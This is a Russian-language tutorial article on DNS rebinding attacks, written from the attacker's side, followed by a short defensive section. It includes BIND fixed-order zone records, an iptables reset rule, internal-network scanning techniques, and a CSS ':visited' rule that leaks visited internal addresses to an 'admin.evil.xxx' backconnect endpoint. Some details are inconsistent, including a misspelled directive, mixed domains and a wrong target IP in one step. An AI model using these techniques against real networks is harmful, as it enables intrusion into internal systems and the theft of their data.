Содержание статьи
Основой модели безопасности, заложенной в современные браузеры, является механизм «Same origin policy». Суть его заключается в том, что браузеры не позволяют сценариям обращаться к данным, расположенным на сторонних доменах. Исключение составляет лишь возможности передавать POST-запросы и подключать к странице файлы javascript и css. При этом не существует никаких легальных способов читать данные, получаемые с другого домена.
Обход ограничений
Подумаем, чего конкретно можно было бы добиться, если бы ограничение на получение данных с других доменов удалось отменить. В первую очередь, мы получили бы возможность не только отправлять запросы на сторонние ресурсы (как при стандартных CSRF-атаках), но и обрабатывать ответы, полученные от сервера. А значит, большая часть механизмов, предназначенных для защиты от CSRF-атак, перестала бы работать. Мы могли бы получить доступ к ресурсам, расположенным во внутренней сети (недоступной извне), при этом браузер пользователя использовался бы в качестве прокси. Также можно было бы получать конфиденциальные данные с ресурсов, на которых пользователь проходит аутентификацию при помощи сертификатов. Хорошим примером подобного веб-приложения для корпоративной среды является почтовый сервер Outlook Web Access.
Именно для обхода ограничения «Same origin policy» и было придумано семейство атак Anti DNS pinning, также известное как DNS rebinding. Атакам типа Anti DNS pinning подвержены веб-серверы, которые отвечают на HTTP-запросы с произвольным значением заголовка Host. В частности, уязвимы все web-сервера Apache и IIS с конфигурацией по умолчанию. Также уязвимы практически все удаленные сервисы, управляемые по HTTP, но не имеющие webинтерфейса. Например, уязвимы практически все сервисы, предоставляющие удаленные API с управлением при помощи протоколов SOAP, XML-RPC и подобных.
В чем же суть?
Современные браузеры, при получении странички с какого-либо сайта, кешируют результаты DNS-запроса. Это делается для предотвращения отправки запросов к сторонним серверам посредством подмены IP-адреса. Давай подумаем, что можно сделать для обхода этого механизма. Раньше атака (в теории) могла проводиться следующим образом:
- Жертва обращается к домену, принадлежащему злоумышленнику.
- Получает с DNS-сервера IP-адрес, соответствующий доменному имени.
- Обращается на web-сервер (соответствующий полученному IP) и получает с него сценарий javascript.
- Полученный Javascript через некоторое время после загрузки инициирует повторный запрос на сервер.
- В этот момент атакующий при помощи межсетевого экрана блокирует все запросы жертвы к серверу.
- Браузер пытается повторно узнать IP-адрес сервера (послав соответствующий DNS-запрос) и на этот раз получает IP-адрес уязвимого сервера из локальной сети жертвы.
Соответственно, если удастся заманить жертву на свой домен evil.xxx, можно заставить браузер пользователя думать, что этому имени домена соответствует не IP-адрес из внешнего интернета, а IP-адрес из локальной сети. По этому адресу может, к примеру, располагаться какой-нибудь важный внутрикорпоративный ресурс. Проблема только в том, что этот вариант атаки не работает.
Реализуем на практике
Как можно понять из описания атаки, нам потребуется один сервер, на котором нужно поднять и настроить WEB- и DNS-сервера, также потребуется домен, на который можно будет заманивать жертву. При регистрации доменного имени указываем в качестве NS-серверов данные нашего сервера.
Для успешного проведения атаки на практике нужно сконфигурировать NS-сервер так, чтобы он возвращал оба IP-адреса одновременно. Причем IP-адрес сервера, на котором лежит Javascript, проводящий атаку, должен возвращаться первым, а IP-адрес сервера жертвы — вторым. В таком случае при обращении к домену браузер сначала загрузит атакующий скрипт с нашего сервера, лишь потом, когда сервер станет недоступным (в результате блокировки запроса межсетевым экраном), — обратится к серверу жертвы.
Для этой цели вполне подходит сервер Bind 9. Чтобы он возвращал IP-адреса в нужном порядке, его нужно собрать из исходных кодов с флагом --enable-fixed-rrset. По умолчанию этот флаг не установлен, и версии, распространяемые в бинарниках, использовать не получится. В настройках bind9 указывается, что следует использовать фиксированный порядок следования IP-адресов. Для этого в named.conf.options, в параметре options указывается:
rrset-oredr { order fixed; };
Далее нужно настроить зону. На примере домена dns.evil.xxx:
dns A 97.246.251.93
A 192.168.0.1
В итоге, при обращении к DNS-серверу атакующего, для домена dns.attacker.ru браузер всегда будет обращаться сначала к IP-адресу 97.246.251.93, затем, если он недоступен, к 192.168.0.1.
В некоторых случаях этот порядок может нарушаться, подробнее описано ниже.
Помимо сервера DNS для проведения атаки потребуется вебсервер (в качестве примера рассмотрим Apache), и удобный механизм блокирования входящих запросов на соединение с сервером. Для блокировки входящих запросов можно использовать межсетевой экран iptables, и наиболее эффективным способом блокировки является отправка пакета с tcp-reset в ответ на попытку соединения, иначе браузер будет тратить лишнее время в рамках таймаута TCP-сессии на ожидание ответа от сервера. При помощи iptables это делается следующим образом:
iptables -A INPUT -s [блокируемый IP-адрес] -p tcp \
--dport 80 -j REJECT --reject-with tcp-reset
В примере сознательно блокируется только 80-й порт, так как для реализации атаки понадобится сервис, на который будут отправляться полученные от клиента данные. В итоге атака выглядит следующим образом:
- Жертва обращается к домену dns.evil.xxx.
- DNS-сервер атакующего возвращает оба IP-адреса в фиксированном порядке.
- Браузер перенаправляет запрос к серверу, расположенному на внешнем IP 97.246.251.93.
- Сервер возвращает HTML-страничку с JavaScript’ом.
- После загрузки странички в браузере, клиентский javascript шлет запрос к домену dns.evil.xxx.
- После получения запроса серверный скрипт блокирует входящие соединения с IP-адреса жертвы.
- Через некоторое время клиентский скрипт снова обращается к домену dns.attacker.ru и, поскольку сервер 97.246.251.93 возвращает RST, запрос перенаправляется на локальный сервер 192.168.0.1.
Теперь наш javascript может слать любые GET/POST/HEAD-запросы к приложению, расположенному на адресе 97.246.251.93, а также обрабатывать полученные ответы и отправлять результаты атакующему!
Полезная нагрузка
Итак, браузер думает, что скрипт был загружен с ресурса из внутренней сети, и у нас есть возможность этим ресурсом управлять. Какие задачи этот скрипт должен выполнить для получения практической пользы? Во-первых, скрипт должен определить, с каким конкретно приложением мы имеем дело, затем — есть ли какая-нибудь авторизация, которую придется обходить. После этого скрипт должен выполнить команды, заложенные в нем для данного типа оборудования. К примеру, изменить конфигурацию или получить копию писем/документов, хранящихся на уязвимом сервере.
После выполнения жестко заданных команд, можно переключить браузер жертвы в режим прокси-сервера и дать возможность атакующему слать запросы к приложению в режиме online. До выполнения всех этих задач нужно разобраться с тем, как скрипт будет отправлять запросы к уязвимому приложению, и как будет происходить передача полученных данных на сервер атакующего. Не забываем о том, что ограничения Same Origin Policy мы уже обошли, а значит, для общения скрипта с уязвимым сервером можно использовать стандартные AJAX-технологии, в частности компонент XMLHttpRequest.
С передачей полученных данных на сервер сложнее, так как сервер управления процессом атаки (административная панель атакующего) располагается либо на другом домене, либо на другом порту (80-й порт на своем сервере мы заблокировали).
Это значит, что скрипт снова столкнется с ограничениями Same Origin Policy. К счастью, для решения этой проблемы была придумана технология под названием JSONP, использование которой позволит отправлять запросы на наш сервер, если тот будет возвращать специальным образом подготовленные ответы (подробнее о JSONP можно прочитать на ресурсах, посвященных webпрограммированию). С механизмами все ясно, идем дальше.
Выполнение команд
При отправке команд на атакуемый сервер следует либо использовать XMLHttpRequest в синхронном режиме, либо синхронизировать отправку команд вручную и не отправлять последующую команду до тех пор, пока не придет ответ на предыдущую. В целях повышения быстродействия работы скрипта я рекомендую использовать второй вариант.
Для использования браузера жертвы в качестве прокси, нужно после окончания работы скрипта запустить функцию setInterval, в которую передать код, который будет запрашивать у управляющего сервера следующую команду, которую нужно запустить на атакуемом оборудовании. А результат выполнения команды можно передавать обратно на сервер.
Атака на корпоративные сети
Мы разобрались, что делать, если цель одна. Теперь надо разобраться, как атаковать корпоративные сети целиком. Ну и в первую очередь для проведения такой атаки необходимо научиться в приемлемое время определять IP-адреса целей атаки. Во-вторых, нужно обеспечить возможность атаки нескольких целей за один сеанс работы пользователя. В-третьих, требуется возможность совершения распределенных атак на один и тот же сервер с нескольких браузеров, расположенных во внутренней сети компании. И в-четвертых, необходима возможность отправки запросов на различные IP-адреса при использовании браузера жертвы в качестве прокси (выше шла речь об отправке подобных команд только на один адрес).
Целеуказание
Для определения целей можно сканировать IP-адреса сети по диапазону. Для этого можно пользоваться, к примеру, тегом IFRAME и событием onLoad. Другой вариант реализации — создавать объект Image и при помощи onLoad определять, загрузилось ли изображение. Для определения того, что по данному адресу ресурс не был обнаружен, можно пользоваться функцией setTimeout, которая по истечении некоторого времени будет проверять, создался ли объект или нет, и если объект не создан — сигнализировать о том, что ресурс по данному адресу не найден.
С использованием этого подхода связ ано несколько очевидных проблем:
- Прокси-сервер может возвращать ответ даже при отправке запроса на несуществующий IP-адрес, и в результате метод onLoad будет указывать на наличие даже несуществующих адресов.
- Потенциально большое количество ложных срабатываний при ошибках выбора значения таймаута.
- При большом значении таймаута и/или большом диапазоне перебираемых адресов подбор может занять значительное время.
Для решения этих проблем можно воспользоваться другим методом определения целей.
CSS History Hack v 2.0
Несколько лет назад был предложен интересный способ определения веб-адресов, которые посещал пользователь браузера. Суть метода заключается в том, что при помощи javascript можно узнать цвет ссылки, созданной на странице, и для ранее посещенных ссылок этот цвет отличается.
Таким образом, сформировав список адресов, можно при помощи javascript создать тег <a> для каждого адреса из списка и сверить его цвет с цветом уже посещенной ссылки. Для простоты работы, цвета уже посещенных ссылок задаются явно при помощи CSS.
Прошло несколько лет, и эту уязвимость закрыли. Современные версии браузеров (даже IE8) теперь всегда для ссылок программно отдают цвет по умолчанию, даже если ранее ссылка была посещена. Впрочем, эту уязвимость все равно можно реализовать по-новому. Для этого жестко зададим массив проверяемых ссылок, например:
var links = [
'http://192.168.0.1',
'http://192.168.1.1',
'http://10.1.1.1'
];
Для каждой ссылки в динамически создаваемый тег STYLE добавим CSS-правило вида:
A#id:visited { background:url('http://admin.evil.xxx:8080/
backonnect.php?url=http://192.168.0.1'); }
В итоге, при создании ссылки, которая была посещена, браузер попытается загрузить url, указанный в адресе, а для непосещенной ссылки url загружаться не будет. Таким образом на сервер можно передать информацию о посещенных ссылках, и этому виду атаки подвержены все актуальные на сегодня версии браузеров, в том числе и самые новые.
Атака нескольких целей
Для проведения атаки типа DNS rebinding требуется производить блокировку соединений со стороны пользователя, причем с учетом реакции современных браузеров эту блокировку следует производить еще во время TCP handshake. Если блокировку проводить уже после соединения, браузер не будет использовать альтернативный адрес. В частности, IE и Firefox возвращают ответ 200 OK с пустым телом ответа, а браузер Opera возвращает код ошибки 404 и не пытается соединиться с другим IP-адресом.
Таким образом, параллельная атака нескольких ресурсов одновременно с использованием стандартного подхода невозможна. Для проведения атаки на несколько целей, можно выделить функции определения целей и выбора текущей цели в отдельную HTML-страницу. При обнаружении цели, ее IP-адрес будет передаваться на сервер, и серверный скрипт должен создать для атаки на нее соответствующий субдомен в таблице DNS.
Например, для ip-адреса 192.168.0.1 можно создать субдомен 192.168.0.1.dns.evil.xxx. Управляющая страница по адресу http://dns.evil.xxx/control.html должна создать iframe, в который будет загружен документ, содержащий клиентский скрипт проведения атаки DNS Rebinding, находящийся, к примеру, по адресу http://192.168.0.1.dns.evil.xxx/rebinding.html.
Чтобы не приходилось добавлять виртуальные сайты в ходе атаки, нужно настроить виртуальный хост веб-сервера таким образом, чтобы для всех поддоменов отдавались одни и те же файлы. Это создает парадокс: сервер, осуществляющий атаку, будет сам уязвим для нее :).
Полученная страница сообщает серверу, чтобы он обслуживал только ее запросы, запрашивает блокировку ip-адреса атакуемого, выполняет работу и отпускает блокировку. Вместе с этим сервер вновь разрешает запросы от жертвы.
Полный алгоритм выглядит следующим образом:
- Система определения целей передает ip-адреса целей на сервер атакующего (допустим, 97.246.251.93).
- Управляющий скрипт на клиенте запрашивает доменное имя цели у сервера.
- Сервер создает DNS-запись для субдомена, который будет использоваться для атаки на конкретный IP-адрес.
Пример:
97.246.251.93.dns.evil.xxx
A 97.246.251.93
A 192.168.0.1
- Управляющий скрипт указывает полученное имя домена в качестве параметра src-тега IFRAME.
- Документ, полученный с домена 192.168.0.1.evil.xxx запрашивает у сервера блокировку.
- Сервер перестает реагировать на запросы о получении адреса целей, и блокирует обращения с браузера жертвы на 80-й порт.
- Клиентский скрипт выполняет работу по получению нужных данных и управлению оборудованием.
- После окончания работы клиентский скрипт сообщает серверу, что блокировку можно освободить.
- Сервер освобождает блокировку и снова разрешает доступ с адреса, атакующего на 80-й порт.
- Управляющий скрипт запрашивает адрес следующей цели, и процесс повторяется при необходимости.
Для динамического создания DNS-записей можно использовать механизм автоматического обновления DNS, например, утилиту nsupdate. При ее использовании перезагрузка DNS-сервера не потребуется.
Защита от атаки типа DNS Rebinding
В принципе, есть несколько способов защититься от данного вида атак, например:
- Правильная настройка ПО сервера. Удалить на веб-серверах параметр VirtualHost со значением _default_, или *:80 и явно прописать имена хостов.
- Защита со стороны разработчика веб-приложения. При установке приложения предлагать пользователю ввести доменное имя сервера, на котором будет располагаться приложение, и обрабатывать запросы от клиента только в том случае, если параметр Host запроса HTTP соответствует имени домена, указанного при установке.
- В браузерах использовать плагин NOSCRIPT или аналоги, запретить выполнение скриптов JavaScript, Java-апплетов или Flash-приложений.
- Использовать разделение зон, при котором скрипту, полученному из внешнего интернета, будет однозначно запрещено обращаться к ресурсам, расположенным в локальной сети пользователя.
При таком подходе однозначно уязвимыми остаются только удаленные сервисы, предоставляющие API, для которых имя хоста не предусмотрено в принципе. Например, API для работы с облаками на базе Amazon EC2, или система виртуализации VMware ESX.